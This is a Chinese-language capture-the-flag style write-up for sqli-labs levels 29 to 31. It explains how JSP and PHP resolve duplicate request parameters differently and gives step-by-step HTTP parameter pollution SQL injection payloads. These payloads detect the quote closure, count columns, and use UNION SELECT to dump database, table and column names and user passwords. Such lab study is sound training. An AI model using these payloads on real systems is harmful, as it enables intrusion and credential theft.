sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错------判断为单引号闭合

?id=2&id=1'--+正常回显------确定为单引号闭合

?id=2&id=1' order by 3--+------判断有三处回显

?id=2&id=' union select 1,2,3--+------判断出回显位置

?id=2&id=' union select 1,user(),database()--+------爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+------ 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显------判断为双引号闭合

?id=a&id=1"--+------正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+------判断有三处回显位

?id=a&id=" union select 1,2,3--+------找到回显位置

?id=a&id=" union select 1,2,database()--+------爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+------爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错------判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显------判断为双引号括号闭合:

?id=0&id=2") order by 3--+------判断有三处回显

?id=0&id=") union select 1,2,3--+------找到回显位置

?id=0&id=") union select 1,2,database()--+------爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+------爆数据



相关推荐
望获linux9 分钟前
【实时Linux实战系列】使用 u-trace 或 a-trace 进行用户态应用剖析
java·linux·前端·网络·数据库·elasticsearch·操作系统
对岸住着星星12 分钟前
断电重启后自动重连WiFi并分配固定IP的Armbian脚本
服务器·网络·tcp/ip
red watchma14 分钟前
Xshell->MCU Ymodem协议实现
网络·单片机·嵌入式硬件
sky北城29 分钟前
读书笔记整理--网络学习与概念整合
网络·智能路由器
极客范儿32 分钟前
新华三H3CNE网络工程师认证—OSPF多区域概念与配置
网络·智能路由器
望获linux1 小时前
【实时Linux实战系列】FPGA 与实时 Linux 的协同设计
大数据·linux·服务器·网络·数据库·fpga开发·操作系统
国科安芯1 小时前
高辐射环境下AS32S601ZIT2型MCU的抗辐照性能与应用潜力分析
网络·人工智能·单片机·嵌入式硬件·fpga开发
wang09071 小时前
网络协议之DNS
网络·网络协议
wanhengidc1 小时前
云手机的魅力与优势
网络·游戏·智能手机·架构·云计算
Hello.Reader10 小时前
Flink 受管状态的自定义序列化原理、实践与可演进设计
java·网络·flink